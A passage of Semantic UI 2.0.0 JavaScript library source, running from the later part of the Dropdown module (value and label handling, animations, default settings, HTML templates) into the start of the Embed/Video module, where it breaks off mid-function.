query\n            ;\n            module.verbose('Adding templated variables to message', message);\n            if(hasCount) {\n              count  = module.get.selectionCount();\n              message = message.replace('{count}', count);\n            }\n            if(hasMaxCount) {\n              count  = module.get.selectionCount();\n              message = message.replace('{maxCount}', settings.maxSelections);\n            }\n            if(hasTerm) {\n              query   = module.get.query();\n              message = message.replace('{term}', query);\n            }\n            return message;\n          },\n          value: function(addedValue, addedText, $selectedItem) {\n            var\n              currentValue = module.get.values(),\n              newValue\n            ;\n            if(addedValue === '') {\n              module.debug('Cannot select blank values from multiselect');\n              return;\n            }\n            // extend currently array\n            if($.isArray(currentValue)) {\n              newValue = currentValue.concat([addedValue]);\n              newValue = module.get.uniqueArray(newValue);\n            }\n            else {\n              newValue = [addedValue];\n            }\n            // add values\n            if( $input.is('select')) {\n              if(settings.allowAdditions) {\n                module.add.optionValue(addedValue);\n                module.debug('Adding value to select', addedValue, newValue, $input);\n              }\n            }\n            else {\n              newValue = newValue.join(settings.delimiter);\n              module.debug('Setting hidden input to delimited value', newValue, $input);\n            }\n\n            if(settings.fireOnInit === false && module.is.initialLoad()) {\n              module.verbose('No callback on initial load', settings.onAdd);\n            }\n            else {\n              settings.onAdd.call(element, addedValue, addedText, $selectedItem);\n            }\n            module.set.value(newValue, addedValue, addedText, $selectedItem);\n            module.check.maxSelections();\n          }\n        },\n\n        remove: {\n          active: function() {\n            $module.removeClass(className.active);\n          },\n          activeLabel: function() {\n            $module.find(selector.label).removeClass(className.active);\n          },\n          loading: function() {\n            $module.removeClass(className.loading);\n          },\n          initialLoad: function() {\n            initialLoad = false;\n          },\n          upward: function($menu) {\n            var $element = $menu || $module;\n            $element.removeClass(className.upward);\n          },\n          visible: function() {\n            $module.removeClass(className.visible);\n          },\n          activeItem: function() {\n            $item.removeClass(className.active);\n          },\n          filteredItem: function() {\n            if( module.has.maxSelections() ) {\n              return;\n            }\n            if(settings.useLabels) {\n              $item.not('.' + className.active).removeClass(className.filtered);\n            }\n            else {\n              $item.removeClass(className.filtered);\n            }\n          },\n          message: function() {\n            $menu.children(selector.message).remove();\n          },\n          searchTerm: function() {\n            module.verbose('Cleared search term');\n            $search.val('');\n            module.set.filtered();\n          },\n          selected: function(value, $selectedItem) {\n            $selectedItem = (settings.allowAdditions)\n              ? $selectedItem || module.get.itemWithAdditions(value)\n              : $selectedItem || module.get.item(value)\n            ;\n\n            if(!$selectedItem) {\n              return false;\n            }\n\n            $selectedItem\n              .each(function() {\n                var\n                  $selected     = $(this),\n                  selectedText  = module.get.choiceText($selected),\n                  selectedValue = module.get.choiceValue($selected, selectedText)\n                ;\n                if(module.is.multiple()) {\n                  if(settings.useLabels) {\n                    module.remove.value(selectedValue, selectedText, $selected);\n                    module.remove.label(selectedValue);\n                  }\n                  else {\n                    module.remove.value(selectedValue, selectedText, $selected);\n                    module.set.text(module.add.variables(message.count));\n                  }\n                }\n                else {\n                  module.remove.value(selectedValue, selectedText, $selected);\n                }\n                $selected\n                  .removeClass(className.filtered)\n                  .removeClass(className.active)\n                ;\n                if(settings.useLabels) {\n                  $selected.removeClass(className.selected);\n                }\n              })\n            ;\n          },\n          selectedItem: function() {\n            $item.removeClass(className.selected);\n          },\n          value: function(removedValue, removedText, $removedItem) {\n            var\n              values   = $input.val(),\n              newValue\n            ;\n            if( $input.is('select') ) {\n              module.verbose('Input is <select> removing selected option', removedValue);\n              newValue = module.remove.arrayValue(removedValue, values);\n            }\n            else {\n              module.verbose('Removing from delimited values', removedValue);\n              values = values.split(settings.delimiter);\n              newValue = module.remove.arrayValue(removedValue, values);\n              newValue = newValue.join(settings.delimiter);\n            }\n            if(settings.fireOnInit === false && module.is.initialLoad()) {\n              module.verbose('No callback on initial load', settings.onRemove);\n            }\n            else {\n              settings.onRemove.call(element, removedValue, removedText, $removedItem);\n            }\n            module.set.value(newValue, removedText, $removedItem);\n            module.check.maxSelections();\n          },\n          arrayValue: function(removedValue, values) {\n            values = $.grep(values, function(value){\n              return (removedValue != value);\n            });\n            module.verbose('Removed value from delimited string', removedValue, values);\n            return values;\n          },\n          label: function(value) {\n            var\n              $labels       = $module.find(selector.label),\n              $removedLabel = $labels.filter('[data-value=\"' + value +'\"]'),\n              labelCount    = $labels.length,\n              isLastLabel   = ($labels.index($removedLabel) + 1 == labelCount),\n              shouldAnimate = ( (!module.is.searchSelection() || !module.is.focusedOnSearch()) && isLastLabel)\n            ;\n            if(shouldAnimate) {\n              module.verbose('Animating and removing label', $removedLabel);\n              $removedLabel\n                .transition(settings.label.transition, settings.label.duration, function() {\n                  $removedLabel.remove();\n                })\n              ;\n            }\n            else {\n              module.verbose('Removing label', $removedLabel);\n              $removedLabel.remove();\n            }\n          },\n          activeLabels: function($activeLabels) {\n            $activeLabels = $activeLabels || $module.find(selector.label).filter('.' + className.active);\n            module.verbose('Removing active label selections', $activeLabels);\n            module.remove.labels($activeLabels);\n          },\n          labels: function($labels) {\n            $labels = $labels || $module.find(selector.label);\n            module.verbose('Removing labels', $labels);\n            $labels\n              .each(function(){\n                var\n                  value       = $(this).data('value'),\n                  isUserValue = module.is.userValue(value)\n                ;\n                if(isUserValue) {\n                  module.remove.value(value);\n                  module.remove.label(value);\n                }\n                else {\n                  // selected will also remove label\n                  module.remove.selected(value);\n                }\n              })\n            ;\n          },\n          tabbable: function() {\n            if( module.has.search() ) {\n              module.debug('Searchable dropdown initialized');\n              $search\n                .attr('tabindex', '-1')\n              ;\n              $menu\n                .attr('tabindex', '-1')\n              ;\n            }\n            else {\n              module.debug('Simple selection dropdown initialized');\n              $module\n                .attr('tabindex', '-1')\n              ;\n              $menu\n                .attr('tabindex', '-1')\n              ;\n            }\n          }\n        },\n\n        has: {\n          search: function() {\n            return ($search.length > 0);\n          },\n          input: function() {\n            return ($input.length > 0);\n          },\n          menu: function() {\n            return ($menu.length > 0);\n          },\n          message: function() {\n            return ($menu.children(selector.message).length !== 0);\n          },\n          label: function(value) {\n            var\n              $labels = $module.find(selector.label)\n            ;\n            return ($labels.filter('[data-value=\"' + value +'\"]').length > 0);\n          },\n          maxSelections: function() {\n            return (settings.maxSelections && module.get.selectionCount() >= settings.maxSelections);\n          },\n          allResultsFiltered: function() {\n            return ($item.filter(selector.unselectable).length === $item.length);\n          },\n          value: function(value) {\n            var\n              values   = module.get.values(),\n              hasValue = $.isArray(values)\n               ? values && ($.inArray(value, values) !== -1)\n               : (values == value)\n            ;\n            return (hasValue)\n              ? true\n              : false\n            ;\n          }\n        },\n\n        is: {\n          active: function() {\n            return $module.hasClass(className.active);\n          },\n          alreadySetup: function() {\n            return ($module.is('select') && $module.parent(selector.dropdown).length > 0  && $module.prev().length === 0);\n          },\n          animating: function($subMenu) {\n            return ($subMenu)\n              ? $subMenu.transition && $subMenu.transition('is animating')\n              : $menu.transition    && $menu.transition('is animating')\n            ;\n          },\n          focused: function() {\n            return (document.activeElement === $module[0]);\n          },\n          focusedOnSearch: function() {\n            return (document.activeElement === $search[0]);\n          },\n          allFiltered: function() {\n            return( (module.is.multiple() || module.has.search()) && !module.has.message() && module.has.allResultsFiltered() );\n          },\n          hidden: function($subMenu) {\n            return !module.is.visible($subMenu);\n          },\n          initialLoad: function() {\n            return initialLoad;\n          },\n          onScreen: function($subMenu) {\n            var\n              $currentMenu   = $subMenu || $menu,\n              canOpenDownward = true,\n              onScreen = {},\n              calculations\n            ;\n            $currentMenu.addClass(className.loading);\n            calculations = {\n              context: {\n                scrollTop : $context.scrollTop(),\n                height    : $context.outerHeight()\n              },\n              menu : {\n                offset: $currentMenu.offset(),\n                height: $currentMenu.outerHeight()\n              }\n            };\n            onScreen = {\n              above : (calculations.context.scrollTop) <= calculations.menu.offset.top - calculations.menu.height,\n              below : (calculations.context.scrollTop + calculations.context.height) >= calculations.menu.offset.top + calculations.menu.height\n            };\n            if(onScreen.below) {\n              module.verbose('Dropdown can fit in context downward', onScreen);\n              canOpenDownward = true;\n            }\n            else if(!onScreen.below && !onScreen.above) {\n              module.verbose('Dropdown cannot fit in either direction, favoring downward', onScreen);\n              canOpenDownward = true;\n            }\n            else {\n              module.verbose('Dropdown cannot fit below, opening upward', onScreen);\n              canOpenDownward = false;\n            }\n            $currentMenu.removeClass(className.loading);\n            return canOpenDownward;\n          },\n          inObject: function(needle, object) {\n            var\n              found = false\n            ;\n            $.each(object, function(index, property) {\n              if(property == needle) {\n                found = true;\n                return true;\n              }\n            });\n            return found;\n          },\n          multiple: function() {\n            return $module.hasClass(className.multiple);\n          },\n          single: function() {\n            return !module.is.multiple();\n          },\n          selectMutation: function(mutations) {\n            var\n              selectChanged = false\n            ;\n            $.each(mutations, function(index, mutation) {\n              if(mutation.target && $(mutation.target).is('select')) {\n                selectChanged = true;\n                return true;\n              }\n            });\n            return selectChanged;\n          },\n          search: function() {\n            return $module.hasClass(className.search);\n          },\n          searchSelection: function() {\n            return ( module.has.search() && $search.closest(selector.menu).length === 0 );\n          },\n          selection: function() {\n            return $module.hasClass(className.selection);\n          },\n          userValue: function(value) {\n            return ($.inArray(value, module.get.userValues()) !== -1);\n          },\n          upward: function($menu) {\n            var $element = $menu || $module;\n            return $element.hasClass(className.upward);\n          },\n          visible: function($subMenu) {\n            return ($subMenu)\n              ? $subMenu.hasClass(className.visible)\n              : $menu.hasClass(className.visible)\n            ;\n          }\n        },\n\n        can: {\n          click: function() {\n            return (hasTouch || settings.on == 'click');\n          },\n          show: function() {\n            return !$module.hasClass(className.disabled) && $item.length > 0;\n          },\n          useAPI: function() {\n            return $.fn.api !== undefined;\n          }\n        },\n\n        animate: {\n          show: function(callback, $subMenu) {\n            var\n              $currentMenu = $subMenu || $menu,\n              start = ($subMenu)\n                ? function() {}\n                : function() {\n                  module.hideSubMenus();\n                  module.hideOthers();\n                  module.set.active();\n                },\n              transition\n            ;\n            callback = $.isFunction(callback)\n              ? callback\n              : function(){}\n            ;\n            module.verbose('Doing menu show animation', $currentMenu);\n            module.set.direction($subMenu);\n            transition = module.get.transition($subMenu);\n            if( module.is.selection() ) {\n              module.set.scrollPosition(module.get.selectedItem(), true);\n            }\n            if( module.is.hidden($currentMenu) || module.is.animating($currentMenu) ) {\n              if(transition == 'none') {\n                start();\n                $currentMenu.transition('show');\n                callback.call(element);\n              }\n              else if($.fn.transition !== undefined && $module.transition('is supported')) {\n                $currentMenu\n                  .transition({\n                    animation  : transition + ' in',\n                    debug      : settings.debug,\n                    verbose    : settings.verbose,\n                    duration   : settings.duration,\n                    queue      : true,\n                    onStart    : start,\n                    onComplete : function() {\n                      callback.call(element);\n                    }\n                  })\n                ;\n              }\n              else {\n                module.error(error.noTransition, transition);\n              }\n            }\n          },\n          hide: function(callback, $subMenu) {\n            var\n              $currentMenu = $subMenu || $menu,\n              duration = ($subMenu)\n                ? (settings.duration * 0.9)\n                : settings.duration,\n              start = ($subMenu)\n                ? function() {}\n                : function() {\n                  if( module.can.click() ) {\n                    module.unbind.intent();\n                  }\n                  module.remove.active();\n                },\n              transition = module.get.transition($subMenu)\n            ;\n            callback = $.isFunction(callback)\n              ? callback\n              : function(){}\n            ;\n            if( module.is.visible($currentMenu) || module.is.animating($currentMenu) ) {\n              module.verbose('Doing menu hide animation', $currentMenu);\n\n              if(transition == 'none') {\n                start();\n                $currentMenu.transition('hide');\n                callback.call(element);\n              }\n              else if($.fn.transition !== undefined && $module.transition('is supported')) {\n                $currentMenu\n                  .transition({\n                    animation  : transition + ' out',\n                    duration   : settings.duration,\n                    debug      : settings.debug,\n                    verbose    : settings.verbose,\n                    queue      : true,\n                    onStart    : start,\n                    onComplete : function() {\n                      if(settings.direction == 'auto') {\n                        module.remove.upward($subMenu);\n                      }\n                      callback.call(element);\n                    }\n                  })\n                ;\n              }\n              else {\n                module.error(error.transition);\n              }\n            }\n          }\n        },\n\n        hideAndClear: function() {\n          if(module.has.search()) {\n            module.remove.searchTerm();\n            module.hide(function() {\n              module.remove.filteredItem();\n            });\n          }\n          else {\n            module.hide();\n          }\n        },\n\n        delay: {\n          show: function() {\n            module.verbose('Delaying show event to ensure user intent');\n            clearTimeout(module.timer);\n            module.timer = setTimeout(module.show, settings.delay.show);\n          },\n          hide: function() {\n            module.verbose('Delaying hide event to ensure user intent');\n            clearTimeout(module.timer);\n            module.timer = setTimeout(module.hide, settings.delay.hide);\n          }\n        },\n\n        escape: {\n          regExp: function(text) {\n            text =  String(text);\n            return text.replace(regExp.escape, '\\\\$&');\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : $allModules\n  ;\n};\n\n$.fn.dropdown.settings = {\n\n  debug                  : false,\n  verbose                : false,\n  performance            : true,\n\n  on                     : 'click',    // what event should show menu action on item selection\n  action                 : 'activate', // action on item selection (nothing, activate, select, combo, hide, function(){})\n\n\n  apiSettings            : false,\n  saveRemoteData         : true,      // Whether remote name/value pairs should be stored in sessionStorage to allow remote data to be restored on page refresh\n  throttle               : 200,       // How long to wait after last user input to search remotely\n\n  context                : window,      // Context to use when determining if on screen\n  direction              : 'auto',     // Whether dropdown should always open in one direction\n  keepOnScreen           : true,       // Whether dropdown should check whether it is on screen before showing\n\n  match                  : 'both',     // what to match against with search selection (both, text, or label)\n  fullTextSearch         : false,      // search anywhere in value\n\n  placeholder            : 'auto',     // whether to convert blank <select> values to placeholder text\n  preserveHTML           : true,       // preserve html when selecting value\n  sortSelect             : false,      // sort selection on init\n\n  forceSelection         : true,       // force a choice on blur with search selection\n  allowAdditions         : false,      // whether multiple select should allow user added values\n\n  maxSelections          : false,      // When set to a number limits the number of selections to this count\n  useLabels              : true,       // whether multiple select should filter currently active selections from choices\n  delimiter              : ',',        // when multiselect uses normal <input> the values will be delmited with this character\n\n  showOnFocus            : true,       // show menu on focus\n  allowTab               : true,       // add tabindex to element\n  allowCategorySelection : false,      // allow elements with sub-menus to be selected\n\n  fireOnInit             : false,      // Whether callbacks should fire when initializing dropdown values\n\n  transition             : 'auto',     // auto transition will slide down or up based on direction\n  duration               : 200,        // duration of transition\n\n  glyphWidth             : 1.0714,     // widest glyph width in em (W is 1.0714 em) used to calculate multiselect input width\n\n  // label settings on multi-select\n  label: {\n    transition : 'scale',\n    duration   : 200,\n    variation  : false\n  },\n\n  // delay before event\n  delay : {\n    hide   : 300,\n    show   : 200,\n    search : 20,\n    touch  : 50\n  },\n\n  /* Callbacks */\n  onChange      : function(value, text, $selected){},\n  onAdd         : function(value, text, $selected){},\n  onRemove      : function(value, text, $selected){},\n\n  onLabelSelect : function($selectedLabels){},\n  onLabelCreate : function(value, text) { return $(this); },\n  onNoResults   : function(searchTerm) { return true; },\n  onShow        : function(){},\n  onHide        : function(){},\n\n  /* Component */\n  name           : 'Dropdown',\n  namespace      : 'dropdown',\n\n  message: {\n    addResult     : 'Add <b>{term}</b>',\n    count         : '{count} selected',\n    maxSelections : 'Max {maxCount} selections',\n    noResults     : 'No results found.',\n    serverError   : 'There was an error contacting the server'\n  },\n\n  error : {\n    action       : 'You called a dropdown action that was not defined',\n    alreadySetup : 'Once a select has been initialized behaviors must be called on the created ui dropdown',\n    labels       : 'Allowing user additions currently requires the use of labels.',\n    method       : 'The method you called is not defined.',\n    noAPI        : 'The API module is required to load resources remotely',\n    noStorage    : 'Saving remote data requires session storage',\n    noTransition : 'This module requires ui transitions <https://github.com/Semantic-Org/UI-Transition>'\n  },\n\n  regExp : {\n    escape   : /[-[\\]{}()*+?.,\\\\^$|#\\s]/g,\n  },\n\n  metadata : {\n    defaultText     : 'defaultText',\n    defaultValue    : 'defaultValue',\n    placeholderText : 'placeholder',\n    text            : 'text',\n    value           : 'value'\n  },\n\n  selector : {\n    addition     : '.addition',\n    dropdown     : '.ui.dropdown',\n    icon         : '> .dropdown.icon',\n    input        : '> input[type=\"hidden\"], > select',\n    item         : '.item',\n    label        : '> .label',\n    remove       : '> .label > .delete.icon',\n    siblingLabel : '.label',\n    menu         : '.menu',\n    message      : '.message',\n    menuIcon     : '.dropdown.icon',\n    search       : 'input.search, .menu > .search > input',\n    text         : '> .text:not(.icon)',\n    unselectable : '.disabled, .filtered'\n  },\n\n  className : {\n    active      : 'active',\n    addition    : 'addition',\n    animating   : 'animating',\n    disabled    : 'disabled',\n    dropdown    : 'ui dropdown',\n    filtered    : 'filtered',\n    hidden      : 'hidden transition',\n    item        : 'item',\n    label       : 'ui label',\n    loading     : 'loading',\n    menu        : 'menu',\n    message     : 'message',\n    multiple    : 'multiple',\n    placeholder : 'default',\n    search      : 'search',\n    selected    : 'selected',\n    selection   : 'selection',\n    upward      : 'upward',\n    visible     : 'visible'\n  }\n\n};\n\n/* Templates */\n$.fn.dropdown.settings.templates = {\n\n  // generates dropdown from select values\n  dropdown: function(select) {\n    var\n      placeholder = select.placeholder || false,\n      values      = select.values || {},\n      html        = ''\n    ;\n    html +=  '<i class=\"dropdown icon\"></i>';\n    if(select.placeholder) {\n      html += '<div class=\"default text\">' + placeholder + '</div>';\n    }\n    else {\n      html += '<div class=\"text\"></div>';\n    }\n    html += '<div class=\"menu\">';\n    $.each(select.values, function(index, option) {\n      html += (option.disabled)\n        ? '<div class=\"disabled item\" data-value=\"' + option.value + '\">' + option.name + '</div>'\n        : '<div class=\"item\" data-value=\"' + option.value + '\">' + option.name + '</div>'\n      ;\n    });\n    html += '</div>';\n    return html;\n  },\n\n  // generates just menu from select\n  menu: function(response) {\n    var\n      values = response.values || {},\n      html   = ''\n    ;\n    $.each(response.values, function(index, option) {\n      html += '<div class=\"item\" data-value=\"' + option.value + '\">' + option.name + '</div>';\n    });\n    return html;\n  },\n\n  // generates label for multiselect\n  label: function(value, text) {\n    return text + '<i class=\"delete icon\"></i>';\n  },\n\n\n  // generates messages like \"No results\"\n  message: function(message) {\n    return message;\n  },\n\n  // generates user addition to selection menu\n  addition: function(choice) {\n    return choice;\n  }\n\n};\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Video\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ($, window, document, undefined) {\n\n\"use strict\";\n\n$.fn.embed = function(parameters) {\n\n  var\n    $allModules     = $(this),\n\n    moduleSelector  = $allModules.selector || '',\n\n    time            = new Date().getTime(),\n    performance     = [],\n\n    query           = arguments[0],\n    methodInvoked   = (typeof query == 'string'),\n    queryArguments  = [].slice.call(arguments, 1),\n\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        settings        = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.embed.settings, parameters)\n          : $.extend({}, $.fn.embed.settings),\n\n        selector        = settings.selector,\n        className       = settings.className,\n        sources         = settings.sources,\n        error           = settings.error,\n        metadata        = settings.metadata,\n        namespace       = settings.namespace,\n        templates       = settings.templates,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        $window         = $(window),\n        $module         = $(this),\n        $placeholder    = $module.find(selector.placeholder),\n        $icon           = $module.find(selector.icon),\n        $embed          = $module.find(selector.embed),\n\n        element         = this,\n        instance        = $module.data(moduleNamespace),\n        module\n      ;\n\n      module = {\n\n        initialize: function() {\n          module.debug('Initializing embed');\n          module.determine.autoplay();\n          module.create();\n          module.bind.events();\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of module', module);\n          instance = module;\n          $module\n            .data(moduleNamespace, module)\n          ;\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous instance of embed');\n          module.reset();\n          $module\n            .removeData(moduleNamespace)\n            .off(eventNamespace)\n          ;\n        },\n\n        refresh: function() {\n          module.verbose('Refreshing selector cache');\n          $placeholder = $module.find(selector.placeholder);\n          $icon        = $module.find(selector.icon);\n          $embed       = $module.find(selector.embed);\n        },\n\n        bind: {\n          events: function() {\n            if( module.has.placeholder() ) {\n              module.debug('Adding placeholder events');\n              console.log($module, selector.placeholder);\n              $module\n                .on('click' + eventNamespace, selector.placeholder, module.createAndShow)\n                .on('click' + eventNamespace, selector.icon, module.createAndShow)\n              ;\n            }\n          }\n        },\n\n        create: function() {\n          var\n            placeholder = module.get.placeholder()\n          ;\n          if(placeholder) {\n            module.createPlaceholder();\n          }\n          else {\n            module.createAndShow();\n          }\n        },\n\n        createPlaceholder: function(placeholder) {\n          var\n            icon  = module.get.icon(),\n            url   = module.get.url(),\n            embed = module.generate.embed(url)\n          ;\n          placeholder = placeholder || module.get.placeholder();\n          $module.html( templates.placeholder(placeholder, icon) );\n          module.debug('Creating placeholder for embed', placeholder, icon);\n        },\n\n        createEmbed: function(url) {\n          module.refresh();\n          url = url || module.get.url();\n          console.log(url);\n          $embed = $('<div/>')\n            .addClass(className.embed)\n            .html( module.generate.embed(url) )\n            .appendTo($module)\n          ;\n          settings.onCreate.call(element, url);\n          module.debug('Creating embed object', $embed);\n        },\n\n        createAndShow: function() {\n          console.log('cands');\n          module.createEmbed();\n          module.show();\n        },\n\n        // sets new embed\n        change: function(source, id, url) {\n          module.debug('Changing video to ', source, id, url);\n          $module\n            .data(metadata.source, source)\n            .data(metadata.id, id)\n            .data(metadata.url, url)\n          ;\n          module.create();\n        },\n\n        // clears embed\n        reset: function() {\n          module.debug('Clearing embed and showing placeholder');\n          module.remove.active();\n          module.remove.embed();\n          module.showPlaceholder();\n          settings.onReset.call(element);\n        },\n\n        // shows current embed\n        show: function() {\n          module.debug('Showing embed');\n          module.set.active();\n          settings.onDisplay.call(element);\n        },\n\n        hide: function() {\n          module.debug('Hiding embed');\n          module.showPlaceholder();\n        },\n\n        showPlaceholder: function() {\n          module.debug('Showing placeholder image');\n          module.remove.active();\n          settings.onPlaceholderDisplay.call(element);\n        },\n\n        get: {\n          id: function() {\n            return settings.id || $module.data(metadata.id);\n          },\n          placeholder: function() {\n            return settings.placeholder || $module.data(metadata.placeholder);\n          },\n          icon: function() {\n            return (settings.icon)\n              ? settings.icon\n              : ($module.data(metadata.icon) !== undefined)\n                ? $module.data(metadata.icon)\n                : module.determine.icon()\n            ;\n          },\n          source: function(url) {\n            return (settings.source)\n              ? settings.source\n              : ($module.data(metadata.source) !== undefined)\n                ? $module.data(metadata.source)\n                : module.determine.source()\n            ;\n          },\n          type: function() {\n            var source = module.get.source();\n            return (sources[source] !== undefined)\n              ? sources[source].type\n              : false\n            ;\n          },\n          url: function() {\n            return (settings.url)\n              ? settings.url\n              : ($module.data(metadata.url) !== undefined)\n                ? $module.data(metadata.url)\n                : module.determine.url()\n            ;\n          }\n        },\n\n        determine: {\n          autoplay: function() {\n            if(module.should.autoplay()) {\n              settings.autoplay = true;\n            }\n          },\n          source: function(url) {\n            var\n              matchedSource = false\n            ;\n            url = url || module.get.url();\n            if(url) {\n              $.each(sources, function(name, source) {\n                if(url.search(source.domain) !== -1) {\n                  matchedSource = name;\n                  return false;\n                }\n              });\n            }\n            return matchedSource;\n          },\n          icon: function() {\n            var\n              source = module.get.source()\n            ;\n            return (sources[source] !== undefined)\n              ? sources[source].icon\n              : false\n            ;\n          },\n          url: function() {\n            var\n              id     = settings.id     || $module.data(metadata.id),\n              source = settings.source || $module.data(metadata.source),\n              url\n            ;\n            url = (sources[source] !== undefined)\n              ? sources[source].url.replace('{id}', id)\n              : false\n            ;\n            if(url) {\n              $module.data(metadata.url, url);\n            }\n            return url;\n          }\n        },\n\n\n        set: {\n          active: function() {\n            $module.addClass(className.active);\n          }\n        },\n\n        remove: {\n          active: function() {\n            $module.removeClass(className.active);\n          },\n          embed: function() {\n            $embed.empty();\n          }\n        },\n\n        encode: {\n          parameters: function(parameters) {\n            var\n              urlString = [],\n              index\n            ;\n            for (index in parameters) {\n              urlString.push( encodeURIComponent(index) + '=' + encodeURIComponent( parameters[index] ) );\n            }\n            return urlString.join('&amp;');\n          }\n        },\n\n        generate: {\n          embed: function(url) {\n            module.debug('Generating embed html');\n            var\n              source = module.get.source(),\n              html,\n              parameters\n            ;\n            url = module.get.url(url);\n            if(url) {\n              parameters = module.generate.parameters(source);\n              html       = templates.iframe(url, parameters);\n            }\n            else {\n              module.error(error.noURL, $module);\n            }\n            return html;\n          },\n          parameters: function(source, extraParameters) {\n            var\n              parameters = (sources[source] && sources[source].parameters !== undefined)\n                ? sources[source].parameters(settings)\n                : {}\n            ;\n            extraParameters = extraParameters || settings.parameters;\n            if(extraParameters) {\n              parameters = $.extend({}, parameters, extraParameters);\n            }\n            parameters = settings.onEmbed(parameters);\n            return module.encode.parameters(parameters);\n          }\n        },\n\n        has: {\n          placeholder: function() {\n            return settings.placeholder || $module.data(metadata.placeholder);\n          }\n        },\n\n        should: {\n          autoplay: function() {\n            return (settings.autoplay === 'auto')\n              ? (settings.placeholder || $module.data(metadata.placeholder) !== undefined)\n              : settings.autoplay\n            ;\n          }\n        },\n\n        is: {\n          video: function() {\n            return module.get.type() == 'video';\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              